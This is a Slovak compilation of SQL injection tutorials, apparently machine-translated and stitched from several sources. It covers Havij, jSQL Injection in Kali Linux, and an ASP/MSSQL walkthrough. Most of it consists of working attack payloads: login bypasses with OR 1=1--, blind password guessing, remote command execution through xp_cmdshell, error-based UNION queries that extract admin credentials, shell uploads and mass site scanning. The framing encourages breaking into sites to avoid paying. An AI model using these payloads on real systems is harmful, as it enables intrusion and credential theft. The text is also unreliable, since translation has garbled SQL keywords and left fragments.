Program pre sql injekcie. Návod na používanie jSQL Injection, multifunkčného nástroja na vyhľadávanie a využívanie SQL injekcií v Kali Linuxe. Hrubé vynútenie hashov pomocou jSQL Injection

Havij je program, ktorý kontroluje zraniteľnosť webových stránok. Najčastejšie sa nepoužíva na svoj hlavný účel, konkrétne na vstrekovanie injekcií SQL. Z tohto dôvodu je tento nástroj najčastejšie klasifikovaný ako „hackovací“ softvér.

Princíp činnosti

Pomocou tejto aplikácie môžete vykonávať útoky na webovú službu s cieľom zmeniť výraz SQL pomocou spojenia. Ak je injekcia úspešná, injekcia vám umožní upraviť logiku vykonávania požiadavky používateľa tak, aby vyhovovala vašim vlastným potrebám. Počas útoku sa často vytvorí jednoduchý odtlačok databázy, po ktorom sa z nej importujú potrebné údaje, napríklad databáza používateľov alebo účet správcu. Ak existujú slabé miesta, útočník môže dokonca interagovať s back-end časťou webovej aplikácie. Takáto implementácia umožňuje najmä vykonávať potrebné príkazy na serveri alebo prezerať potrebné súbory na strane hostiteľa.

možnosti

Havij vám umožňuje ukladať hash hesiel a výpisy tabuliek. Program vám umožňuje vykonávať rôzne typy injekcií: SQL injection založené na chybách, UNION dotaz SQL vstrekovanie, skladané dopyty SQL vstrekovanie, časovo založené slepé SQL vstrekovanie a slepé SQL vstrekovanie založené na booleovskej báze. Nástroj pracuje s HTTPS a podporuje rôzne typy DBMS: MSAccess, MySQL, Oracle, PostgreSQ a dokonca aj Sybase. V prípade potreby môže Havij pracovať vo viacerých vláknach prostredníctvom servera proxy.

Syntax vloženého kódu je možné upraviť manuálne. Pred spustením útoku si tiež môžete vybrať zoznam hľadaných kľúčových slov, stĺpcov tabuľky alebo dátových typov (napríklad celé čísla alebo zlomky).

Počas prevádzky si Havij vedie podrobný denník vykonaných operácií, ktorý sa po dokončení útoku ukladá do priečinka programu. Rozhranie aplikácie je celkom intuitívne a všetky hlavné ovládacie prvky sa zmestia do jedného okna.

Kľúčové vlastnosti

  • vykonávanie SQL injekcií s požadovanou syntaxou;
  • podpora rôznych možností implementácie;
  • vyhľadávanie zraniteľností webových stránok a aplikácií;
  • schopnosť pracovať s rôznymi typmi DBMS;
  • Podpora HTTPS a proxy.

SQL Injection celkom dobrá príležitosť pre hackera
prístup na server. A s trochou snahy aj on
stále to chápe :)

Kódovač vo vnútri

V dnešnej dobe je podporovaná práca s databázami
takmer všetky programovacie jazyky, medzi ne patrí BASIC, C++, Java, PERL, PHP, Assembler a dokonca aj JavaScript! A tieto programy sa nenazývajú inak ako DBMS – systémy na správu databáz. Databázy sa často používajú na riešenie finančných problémov,
účtovníctvo, personálna organizácia, ale svoje uplatnenie si našli aj na internete.

Na písanie WEB aplikácií sa často používajú databázy. Ich použitie je najvhodnejšie na ukladanie registračných údajov používateľov, identifikátorov relácií, organizovanie vyhľadávaní, ako aj iných úloh, ktoré si vyžadujú väčšie spracovanie
množstvo dát. Na prístup k databáze sa používajú serverové technológie: PHP, PERL, ASP atď. Tu začína zábava. Keď na serveri
všetky záplaty sú nainštalované a firewall blokuje všetky porty okrem portu 80, alebo ak je na prístup k niektorým údajom potrebná autentifikácia, hacker môže použiť SQL Injection na hacknutie. Podstatou tohto útoku je zneužitie chyby na priesečníku WEB technológií a SQL. Faktom je, že mnohé webové stránky na spracovanie používateľských údajov tvoria špeciálne SQLžiadosť o databázu. Neopatrné používanie tejto techniky môže viesť k celkom zaujímavým výsledkom...

SQL Injection

Na vysvetlenie útoku si predstavme, že ste si išli na stránku stiahnuť jeden veľmi dôležitý nástroj a s hrôzou si všimnete, že toto môže urobiť len registrovaný používateľ a registrácia, samozrejme, stojí peniaze 🙂 Nechcete prezradiť svoje posledné zarobené peniaze, ale bez programu to nejde! Je čas pripomenúť si ako
prístup k databázam SQL. Napríklad kontrola prihlasovacieho mena a hesla v PHP môže vyzerať takto:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" A
pass="$heslo"");
$num_rows=mysql_num_rows($vysledok);
mysql_close($odkaz);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
inak
{
// CHYBA OVERENIA
}

Pridal som dva komentáre, "AUTHENTICATION OK" - namiesto toho by som mal
prejdite na kód, ktorý sa vykoná, ak je heslo a prihlasovacie meno správne. Ďalšia „CHYBA AUTENTIZÁCIE“ je miesto, kde bude popísaný kód, ktorý sa vykoná, ak sú nesprávne. Ak vyplníte formulár, žiadosť bude vyzerať takto „http://www.server.com?login=user&password=31337“, kde www.server.com je názov
server, ku ktorému sa pokúšame pripojiť. Našli sme, čo sme hľadali, a preto sa opäť vrátime do práce SQL. Ak teda musíte zadať prihlasovacie meno a heslo na autorizáciu, vygeneruje sa SQLžiadosť bude vyzerať takto:

SELECT * FROM users WHERE login="user" AND
heslo="31337"

To znamená asi toto: vráťte mi všetky záznamy z databázy užívateľov, ktorých prihlasovacie meno je „user“ a heslo je „31337“. Ak takýto záznam existuje, tak je užívateľ registrovaný, ale ak nie, tak nie... Ale za určitých okolností sa dá všetko opraviť. Týka sa to situácie, keď aplikácia nekontroluje obsah prenášaných dát alebo ich úplne nekontroluje na prítomnosť SQL inštrukcie. V tomto príklade sú začiarknuté dve polia login a password, ale ak zadáte „31337“ AND email=" ako heslo [chránený e-mailom]"(bez dvojitých úvodzoviek), potom dotaz dopadne trochu inak:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [chránený e-mailom]"

A ak pole e-mailu existuje, skontroluje sa aj táto podmienka. Ak si pamätáte základy Booleovej algebry, príde vám na um, že okrem operácie „a“ existuje aj „alebo“, a keďže ich použitie podporuje SQL, môžete
opísaným spôsobom pridajte podmienku, ktorá vždy vráti hodnotu true. Ak to chcete urobiť, musíte ako prihlasovacie meno zadať „user“ ALEBO 1=1--, v takom prípade bude mať žiadosť tvar:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
heslo="31337"

Najprv by ste mali vedieť, že „--“ znamená koniec požiadavky a všetko po „--“
nebudú spracované! Ukázalo sa, že sme požiadali:

SELECT * FROM users WHERE login="user" ALEBO 1=1

Ako vidíte, pridali sme podmienku „1=1“, čo znamená, že overovacie kritérium bude „ak je prihlásenie „používateľ“ alebo 1=1“, ale 1 sa vždy rovná 1 (jedinou výnimkou môže byť aritmetika Daniho Shepovalova :)). Aby sme preverili naše podozrenia
Do panela s adresou zadajte „http://www.server.com?login=user or 1=1--&password=31337“. To vedie k tomu, že nezáleží na tom, aké prihlásenie sme zadali, ale
hlavne heslo! A sme v matrixe, v systéme a môžeme si pokojne stiahnuť, čo potrebujeme.

Ale to je všetko v teórii. V praxi nevieme, ako sa žiadosť tvorí, aké údaje sa prenášajú a v akom poradí. Preto musíte pre všetky polia zadať „user“ ALEBO 1=1--“. Mali by ste tiež skontrolovať formulár na odoslanie pre skryté polia. V HTML sú opísané ako „ ". Ak nejaké existujú, uložte stránku a zmeňte hodnoty týchto polí. Hodnoty v nich obsiahnuté sa často zabúdajú na kontrolu prítomnosti príkazov SQL. Ale aby všetko fungovalo, mali by ste zadať úplné cestu k skriptu vo formulári (značka "FORM") pre parameter "AKCIA", ktorý túto požiadavku spracuje.

Nie je však vždy známe, ako sa žiadosť tvorí,
Predchádzajúci príklad môže byť vytvorený nasledujúcimi spôsobmi:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=používateľ A heslo=31337

V tomto prípade môžete vyskúšať nasledujúce možnosti:

"ALEBO 1=1--
"ALEBO 1=1--
ALEBO 1=1--
" ALEBO "a"="a
" ALEBO "a"="a
") ALEBO ("a"="a
ALEBO "1"="1"

Všetko závisí od účelu skriptu a od programátora. Keďže každý človek má tendenciu robiť všetko po svojom, je dosť možné, že programátor nezvolí najjednoduchšiu možnosť. Preto by ste nemali okamžite
vzdaj sa, ak ťa odmietnu. Nevyhnutné
skúste čo najviac možností...

Detekcia hesla

Obídenie autorizácie nie je zlé, ale veľmi často sa diera, ktorú používate, zatvorí a všetko, čo ste mali k dispozícii, sa stratí.
To sa dá očakávať, ak programátor nie je hlupák
Postupom času zatvorí všetky medzery. Takýchto situácií sa môžete ľahko zbaviť tak, že sa o to postaráte vopred. Správnym riešením môže byť uhádnutie hesla pomocou
analýza výsledkov autentifikácie. Najprv sa pokúsme uhádnuť heslo, ak to chcete urobiť, zadajte jeho umiestnenie:

"ALEBO heslo>"a

Ak sa nám povie, že autorizácia bola odovzdaná, potom heslo
nezačína písmenom "a", ale jedným z nasledujúcich v zozname. Poďme ďalej a nahraďme
miesto "a", ďalšie "b", "c", "d", "e"... atď. kým nám nepovedia, že heslo nie je správne. Nechajte tento proces zastaviť pri znaku „x“, v tomto prípade sa vytvoria dve možnosti vývoja situácie: nájde sa heslo alebo heslo začína týmto znakom. Ak chcete skontrolovať prvú možnosť, napíšte umiestnenie hesla:

"ALEBO heslo="x

a ak je heslo prijaté a máte povolený vstup, potom ste heslo uhádli! Nie, potom by ste mali vybrať druhý znak,
presne to iste, od zaciatku. Skontrolujte dva znaky
potrebovať to isté. Na záver dostanete heslo a rovnakým spôsobom budete hľadať prihlasovacie meno :)
Ak vám nájdené heslo a login nevyhovujú, môžete si nájsť iné. Ak to chcete urobiť, musíte začať s kontrolou od posledného znaku nájdeného hesla. Takže ak bolo heslo "xxx", je potrebné skontrolovať existenciu hesla
"xxxy":

"ALEBO heslo="xxx

aby ste nepremeškali viac ako jednu možnosť!

MS SQL Server

MS SQL Server je vo všeobecnosti dar z nebies, ak sa vynechá potrebné filtrovanie. Pomocou zraniteľnosti SQL Injection môžete spustiť
príkazy na vzdialenom serveri pomocou exec master..xp_cmdshell. Ale použiť tento dizajn
musí byť dokončená operácia SELECT. V SQL sú príkazy oddelené bodkočiarkami. Preto, ak sa chcete pripojiť k nejakej IP cez Telnet, musíte zadať heslo/login:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server má niekoľko ďalších zaujímavých funkcií, ktoré vám umožňujú zistiť prihlasovacie mená a heslá uložené v databáze. Na tento účel je chybový výstup presmerovaný na ľubovoľný server a cez ne
analýzy, môžete zistiť názov tabuľky, polia a ich typy. Potom môžete požiadať

" UNION SELECT TOP 1 prihlásenie OD používateľov --

(login je názov poľa obsahujúceho prihlásenie a používatelia je názov tabuľky,
polovedci v procese analýzy chýb).

Odpoveď môže byť:


Chyba syntaxe pri prevode hodnoty nvarchar "admin" to a column of data type int. !}
/default.asp, riadok 27

Teraz vieme, že existuje používateľ s názvom „admin“. Teraz môžeme získať jeho heslo:

" UNION SELECT TOP 1 heslo FROM užívateľov kde login="admin"--

výsledok:

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "xxx" to a column of data type int. !}
/tedault.asp, riadok 27

Teraz vieme, že existuje používateľ „admin“ s heslom „xxx“. S týmto môžete bezpečne
použite to a prihláste sa do systému 😉

Existuje však mnoho ďalších funkcií pre prácu s SQL,
Pri práci s databázou môžete údaje aj mazať, upravovať, vkladať vlastné a dokonca aj manipulovať so súbormi a pracovať s registrami.
Všeobecne platí, že SQL Server pravidlá :)

Ochrana

Ale tomu všetkému sa dá samozrejme vyhnúť. Ak to chcete urobiť, môžete
používať filtre,
poskytované výrobcami. Môžete nájsť svoje vlastné riešenia, napríklad nahradiť všetky jednoduché
dvojité úvodzovky (ak pre SQLžiadosť používame jednotlivé) alebo naopak. Môžete povoliť iba použitie písmen a s@baki, ak potrebujete zadať
emailová adresa. A v perle je úžasné
funkciu 🙂 quote() v module DBI::DBD, ktorá úspešne zaisťuje bezpečnosť vášho dopytu vzhľadom na SQL. Riešení je veľa, len ich potrebujete
zneužiť. Inak, prečo to všetko...

Spustite stiahnutý súbor dvojitým kliknutím (potrebujete mať virtuálny stroj).

3. Anonymita pri kontrole stránky pre SQL injection

Nastavenie Tor a Privoxy v Kali Linuxe

[Sekcia vo vývoji]

Nastavenie Tor a Privoxy v systéme Windows

[Sekcia vo vývoji]

Nastavenia proxy v jSQL Injection

[Sekcia vo vývoji]

4. Kontrola stránky pre SQL injection pomocou jSQL Injection

Práca s programom je mimoriadne jednoduchá. Stačí zadať adresu webovej stránky a stlačiť ENTER.

Nasledujúca snímka obrazovky ukazuje, že stránka je zraniteľná voči trom typom SQL injekcií (informácie o nich sú uvedené v pravom dolnom rohu). Kliknutím na názvy injekcií môžete prepínať použitú metódu:

Taktiež sa nám už zobrazili existujúce databázy.

Obsah každej tabuľky si môžete pozrieť:

Najzaujímavejšou vecou na tabuľkách sú zvyčajne poverenia správcu.

Ak máte šťastie a nájdete údaje správcu, je priskoro na radosť. Stále musíte nájsť admin panel, kam zadať tieto údaje.

5. Hľadajte admin panely pomocou jSQL Injection

Ak to chcete urobiť, prejdite na ďalšiu kartu. Tu nás privíta zoznam možných adries. Na kontrolu môžete vybrať jednu alebo viac stránok:

Pohodlie spočíva v tom, že nemusíte používať ďalšie programy.

Bohužiaľ, nie je veľa neopatrných programátorov, ktorí ukladajú heslá v čistom texte. Pomerne často v riadku hesla vidíme niečo ako

8743b52063cd84097a65d1633f5c74f5

Toto je hash. Môžete ho dešifrovať pomocou hrubej sily. A... jSQL Injection má vstavaný brute force.

6. Hrubá sila hash pomocou jSQL Injection

Nepochybným pohodlím je, že nemusíte hľadať ďalšie programy. Existuje podpora pre mnohé z najpopulárnejších hashov.

Toto nie je najlepšia možnosť. Aby ste sa stali guruom v dekódovaní hashov, odporúča sa kniha „“ v ruštine.

Ale samozrejme, keď nie je po ruke iný program alebo nie je čas na štúdium, veľmi vhod príde jSQL Injection so vstavanou funkciou hrubej sily.

Existujú nastavenia: môžete nastaviť, ktoré znaky sú zahrnuté v hesle, rozsah dĺžky hesla.

7. Operácie so súbormi po zistení injekcií SQL

Okrem operácií s databázami - ich čítanie a úprava, ak sa zistia injekcie SQL, možno vykonať nasledujúce operácie so súbormi:

  • čítanie súborov na serveri
  • nahrávanie nových súborov na server
  • nahrávanie shellov na server

A to všetko je implementované v jSQL Injection!

Existujú obmedzenia - server SQL musí mať práva na súbory. Rozumní správcovia systému ich deaktivujú a nebudú môcť získať prístup k súborovému systému.

Prítomnosť privilégií k súborom sa kontroluje pomerne jednoducho. Prejdite na jednu z kariet (čítanie súborov, vytvorenie shellu, nahranie nového súboru) a skúste vykonať jednu zo zadaných operácií.

Ešte veľmi dôležitá poznámka – musíme poznať presnú absolútnu cestu k súboru, s ktorým budeme pracovať – inak nebude fungovať nič.

Pozrite si nasledujúcu snímku obrazovky:

Na akýkoľvek pokus o prácu so súborom dostaneme nasledujúcu odpoveď: Žiadne privilégium FILE(žiadne privilégiá k súborom). A tu sa nedá nič robiť.

Ak namiesto toho máte inú chybu:

Problém so zápisom do [názov_adresára]

To znamená, že ste nesprávne zadali absolútnu cestu, kam chcete súbor zapísať.

Aby ste uhádli absolútnu cestu, musíte aspoň poznať operačný systém, na ktorom server beží. Ak to chcete urobiť, prejdite na kartu Sieť.

Takýto záznam (riadok Win64) nám dáva dôvod predpokladať, že máme čo do činenia s OS Windows:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Pripojenie: Keep-Alive Metóda: HTTP/1.1 200 OK Obsah-Dĺžka: 353 Dátum: Pia, 11. december 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; znaková sada=UTF-8

Tu máme nejaký Unix (*BSD, Linux):

Transfer-Encoding: chunked Dátum: Pi, 11 Dec 2015 11:57:02 GMT Metóda: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X- Poháňané: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

A tu máme CentOS:

Metóda: HTTP/1.1 200 OK Vyprší: štvrtok, 19. novembra 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Pripojenie: keep-alive X-Cache-Lookup: MISS z t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS z t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Date: Pi, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

V systéme Windows je typický priečinok pre lokality C:\Server\data\htdocs\. Ale v skutočnosti, ak niekto „uvažoval“ o vytvorení servera v systéme Windows, potom je veľmi pravdepodobné, že táto osoba nepočula nič o privilégiách. Preto by ste mali začať skúšať priamo z adresára C:/Windows/:

Ako vidíte, všetko prebehlo v poriadku na prvýkrát.

Ale samotné shelly jSQL Injection vyvolávajú v mojej mysli pochybnosti. Ak máte privilégiá k súborom, môžete jednoducho niečo nahrať pomocou webového rozhrania.

8. Hromadná kontrola stránok pre SQL injekcie

A dokonca aj táto funkcia je dostupná v jSQL Injection. Všetko je veľmi jednoduché - stiahnite si zoznam stránok (môžete importovať zo súboru), vyberte tie, ktoré chcete skontrolovať, a kliknutím na príslušné tlačidlo spustite operáciu.

Záver z jSQL Injection

jSQL Injection je dobrý a výkonný nástroj na vyhľadávanie a následné použitie injekcií SQL, ktoré sa nachádzajú na webových stránkach. Jeho nesporné výhody: jednoduché použitie, vstavané súvisiace funkcie. jSQL Injection môže byť najlepším priateľom začiatočníka pri analýze webových stránok.

Medzi nedostatky by som poznamenal nemožnosť editácie databáz (aspoň ja som túto funkcionalitu nenašiel). Ako pri všetkých nástrojoch GUI, jednu z nevýhod tohto programu možno pripísať jeho nemožnosti použiť v skriptoch. Napriek tomu je v tomto programe možná aj určitá automatizácia - vďaka vstavanej funkcii hromadnej kontroly stránok.

Program jSQL Injection sa používa oveľa pohodlnejšie ako sqlmap. Ale sqlmap podporuje viac typov SQL injekcií, má možnosti pre prácu so súborovými firewallmi a niektoré ďalšie funkcie.

Zrátané a podčiarknuté: jSQL Injection je najlepší priateľ začínajúceho hackera.

Pomoc pre tento program v Kali Linux Encyklopédii nájdete na tejto stránke: http://kali.tools/?p=706

SQL Injection pre figuríny, hackovanie ASP+MSSQL

Alexander Antipov

Tento článok neobsahuje žiadne nové pravdy. SQL injection je široko popísaný a používaný všade. Článok je skôr určený pre začiatočníkov, no snáď sa profesionálom podarí nájsť jeden-dva nové triky.


Tento článok má pomôcť nováčikom vyrovnať sa s problémami, s ktorými sa môžu stretnúť pri používaní techniky SQL Injection, úspešne ju použiť a vedieť sa pred takýmito útokmi chrániť.

Úvod

Keď má záujmový server otvorený iba port 80 a skener zraniteľnosti nemôže hlásiť nič zaujímavé a vy viete, že správca systému vždy veľmi rýchlo nainštaluje všetky záplaty na webový server, naša posledná šanca je webový hacking. SQL injection je jedným z typov web hackingu, ktorý používa iba port 80 a môže fungovať, aj keď sú záplaty nainštalované včas. Tento útok je viac zameraný na webové aplikácie (ako ASP, JSP, PHP, CGI atď.), ako priamo na webový server alebo služby v OS.

Tento článok neobsahuje žiadne nové pravdy. SQL injection je široko popísaný a používaný všade. Článok je skôr určený pre začiatočníkov, no snáď sa profesionálom podarí nájsť jeden-dva nové triky. Odporúčam tiež pozrieť si odkazy na konci článku, kde nájdete podrobnejšie informácie od odborníkov v danej oblasti.

1.1 Čo je SQL Injection?

SQL Injection je metóda navrhnutá na vkladanie SQL dotazov/príkazov cez webové stránky. Mnoho webových stránok používa parametre prezentované používateľom webu a vytvára SQL dotaz do databázy. Zoberme si napríklad prípad prihlásenia užívateľa, kedy existuje webová stránka s menom a heslom a v databáze je vykonaný SQL dotaz na kontrolu, či existuje registrovaný užívateľ s týmto menom a heslom. Pomocou SQL Injection je možné poslať vytvorené pole pre meno a/alebo heslo, ktoré upraví SQL dotaz, čo nám môže poskytnúť zaujímavé veci.

2.0 Čo by sme mali hľadať

Skúste nájsť stránky, ktoré od vás žiadajú údaje, ako napríklad stránka vyhľadávania, diskusná stránka atď. Niekedy html stránky používajú metódu POST na odosielanie príkazov na inú webovú stránku. V tomto prípade neuvidíte parametre v adrese URL. V tomto prípade však môžete v zdrojovom kóde HTML stránok hľadať značku „FORM“. Nájdete niečo takéto:



Všetky parametre medzi

A
môže byť potenciálne zraniteľný voči vstrekovaniu SQL.

2.1 Čo ak nenájdete stránku, ktorá používa vstup?

Hľadajte stránky ako ASP, JSP, CGI alebo webové stránky PHP. Skúste nájsť stránky, ktoré používajú parametre ako:

3.0. Ako môžem skontrolovať, či je to, čo som našiel, zraniteľné?

Skúste začať jedným citátom. Zadajte nasledujúci riadok:

ahoj" alebo 1=1--

v poli používateľského mena alebo hesla alebo dokonca v parametri URL. Príklad:

Prihlásenie: ahoj" alebo 1=1--
Pass: ahoj" alebo 1=1--
http://duck/index.asp?id=hi" alebo 1=1--

Ak ste to urobili so skrytým poľom, stiahnite si pôvodný kód HTML, uložte ho na pevný disk, podľa toho zmeňte adresu URL a skryté pole. Príklad:



Ak je šťastie na vašej strane, budete sa môcť prihlásiť bez používateľského mena alebo hesla.

3.1 Ale prečo "alebo 1=1--?

Pozrime sa na ďalší príklad, ktorý vysvetľuje užitočnosť konštrukcie „ alebo 1=1--. Okrem obídenia registrácie sa môžeme pozrieť aj na ďalšie informácie, ktoré nie sú zvyčajne dostupné. Predstavte si stránku asp, ktorá odkazuje na inú stránku s nasledujúca adresa URL:

http://duck/index.asp?category=food

V adrese URL je „kategória“ názov premennej a „jedlo“ je hodnota priradená tejto premennej. Ak to chcete urobiť, stránka asp môže obsahovať nasledujúci kód:

v_cat = request("kategória")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

Ako vidíte, naša premenná bude kombinovaná s v_cat a teda SQL dotaz by mal byť:

VYBERTE * Z produktu WHERE PCategory="food"

Tento dotaz musí vrátiť množinu obsahujúcu jeden alebo viac riadkov, ktoré zodpovedajú klauzule WHERE, v tomto prípade „jedlo“. Teraz zmeňte adresu URL takto:

http://duck/index.asp?category=food" alebo 1=1--
VYBERTE * Z produktu WHERE PCategory="food" alebo 1=1--'

Tento dotaz vráti všetky riadky v tabuľke produktov bez ohľadu na to, či je Pcategory "jedlo" alebo nie. Dvojitá pomlčka „-“ hovorí MS SQL Server, aby ignoroval zvyšok dotazu, ktorý nasleduje po jednoduchých úvodzovkách (“). Niekedy môžete dvojitú pomlčku nahradiť ostrým „#“.

Ak však používate server iný ako SQL alebo nemôžete ignorovať zvyšok dotazu, skúste:

" alebo "a"="a

Teraz bude SQL dotaz:

VYBERTE * Z produktu WHERE PCategory="food" alebo "a"="a"

Tento dotaz vráti rovnaký výsledok.

V závislosti od aktuálneho dotazu SQL možno budete musieť vyskúšať niektoré z týchto možností:

"alebo 1=1--
"alebo 1=1--
alebo 1=1--
" alebo "a"="a
" alebo "a"="a
") alebo ("a"="a

4.0 Ako môžem vykonávať príkazy na diaľku pomocou SQL injection?

Možnosť zadať príkaz SQL zvyčajne znamená, že môžeme ľubovoľne vykonávať SQL dotazy. Štandardná inštalácia MS SQL Server beží so systémovými právami. Môžeme volať vstavané procedúry ako master..xp_cmdshell na vzdialené vykonávanie ľubovoľných príkazov:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Skúste použiť dvojité úvodzovky ("), ak (") nefunguje.

Bodkočiarka ukončí aktuálny SQL dotaz a umožní vám spúšťať nové SQL príkazy. Ak chcete skontrolovať, či bol príkaz úspešný, môžete skontrolovať pakety ICMP v 10.10.1.2 a zistiť, či neobsahujú nejaké pakety zo zraniteľného servera:

http://site/?ID=31610

Ak zo servera nedostanete žiadnu požiadavku ping a dostanete chybovú správu označujúcu chybu povolenia, je možné, že administrátor obmedzil prístup webového používateľa k uloženým procedúram.

5.0 Ako získam výsledky môjho dotazu SQL?

Na napísanie požiadavky v HTML môžete použiť sp_makewebtask:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "VYBERTE * Z INFORMAČNÝCH_SCHÉMOV.TABUĽKY"

Zadaná adresa IP musí mať priečinok „share“ s prístupom pre všetkých.

6.0 Ako získať údaje z databázy pomocou chybových správ ODBC?

Na získanie akýchkoľvek údajov môžeme použiť informácie z chybového hlásenia vytvoreného serverom SQL. Zvážte napríklad nasledujúcu stránku:

http://duck/index.asp?id=10

Teraz sa pokúsime spojiť celé číslo „10“ s iným riadkom v databáze:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Systémová tabuľka INFORMATION_SCHEMA.TABLES obsahuje informácie zo všetkých tabuliek na serveri.

Pole TABLE_NAME samozrejme obsahuje názov každej tabuľky v databáze. Bol vybraný, pretože vieme, že vždy existuje. Naša požiadavka:

VYBERTE TOP 1 TABLE_NAME Z INFORMAČNÉHO SCHÉMATU.TABLES--

Tento dotaz vráti krstné meno v databáze. Keď zjednotíme túto hodnotu reťazca na celé číslo 10, MS SQL Server sa pokúsi previesť reťazec nvarchar na celé číslo. Toto vyvolá chybu, že nemôže previesť nvarchar na int. Server zobrazí nasledujúcu chybu:


Chyba syntaxe pri prevode hodnoty nvarchar "table1" to a column of data type int. !}
/index.asp, riadok 5

Chybové hlásenie obsahuje informácie o hodnote, ktorú nemožno previesť na celé číslo. V tomto prípade sme dostali názov prvej tabuľky - "tabuľka1".

Na získanie názvu ďalšej tabuľky môžeme použiť nasledujúci dotaz:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Údaje môžeme vyhľadávať aj pomocou klávesu LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME Z INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07" Chyba syntaxe pri prevode hodnoty nvarchar "admin_login" to a column of data type int. !} /index.asp, riadok 5

Zodpovedajúca konštrukcia "%25login%25" bude nahradená %login% na serveri SQL. V tomto prípade dostaneme názov tabuľky, ktorý zodpovedá kritériu „admin_login“.

6.1 Ako zistím všetky názvy stĺpcov v tabuľke?

Na zobrazenie všetkých názvov stĺpcov v tabuľke môžeme použiť tabuľku INFORMATION_SCHEMA.COLUMNS:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "login_id" to a column of data type int. !}
/index.asp, riadok 5

Teraz, keď poznáme názov prvého stĺpca, môžeme použiť NOT IN() na získanie názvu ďalšieho stĺpca:

http://duck/index.asp?id=10 UNION VYBERTE NÁZOV 1. STĹPCA Z INFORMAČNÉHO SCHÉMU.COLUMNS WHERE TABLE_NAME="admin_login" KDE NIE JE VSTUPNÝ NÁZOV STĹPCA ("login_id")-

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "login_name" to a column of data type int. !}
/index.asp, riadok 5

Pokračovaním získame zvyšok názvov stĺpcov, t.j. "heslo", "detaily", kým nedostaneme nasledujúcu chybu.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" KDE NIE JE VSTUP STĹPCA ("login_id","login_name","password",details")--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e14"
Položky ORDER BY sa musia objaviť vo výberovom zozname, ak výpis obsahuje operátor UNION.
/index.asp, riadok 5

6.2. Ako získame údaje, ktoré potrebujeme?

Teraz, keď sme identifikovali niektoré dôležité tabuľky, môžeme použiť rovnakú techniku ​​na získanie informácií z databázy.

Poďme získať prvé prihlasovacie meno z tabuľky „admin_login“:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "neo" to a column of data type int. !}
/index.asp, riadok 5

Teraz vieme, že existuje používateľ admin s prihlasovacím menom „neo“. Nakoniec môžeme získať heslo „neo“:

http://duck/index.asp?id=10 UNION SELECT TOP 1 heslo OD admin_login kde login_name="neo"--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "m4trix" to a column of data type int. !}
/index.asp, riadok 5

Teraz sa budeme môcť prihlásiť ako „neo“ s heslom „m4trix“.

6.3 Ako získať číselnú hodnotu reťazca?

Vo vyššie opísanej metóde existuje obmedzenie. Nebudeme môcť dostať chybové hlásenie, ak sa pokúsime konvertovať text, ktorý pozostáva z čísla (len znaky medzi 0...9). Teraz popíšeme získanie hesla „31173“ od používateľa „trinity“:

http://duck/index.asp?id=10 UNION SELECT TOP 1 heslo FROM admin_login kde login_name="trinity"--

Pravdepodobne sa nám zobrazí chyba „Stránka sa nenašla“. Dôvodom je, že heslo "31173" bude prevedené na číslo pred UNION s celým číslom (v našom prípade 10). Keďže výraz UNION je správny, SQL server nevygeneruje chybové hlásenie a tým pádom nebudeme môcť získať číselný záznam.

Aby sme tento problém vyriešili, môžeme na koniec pridať číselný reťazec s niekoľkými písmenami, aby sme zabránili konverzii. Upravená požiadavka:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

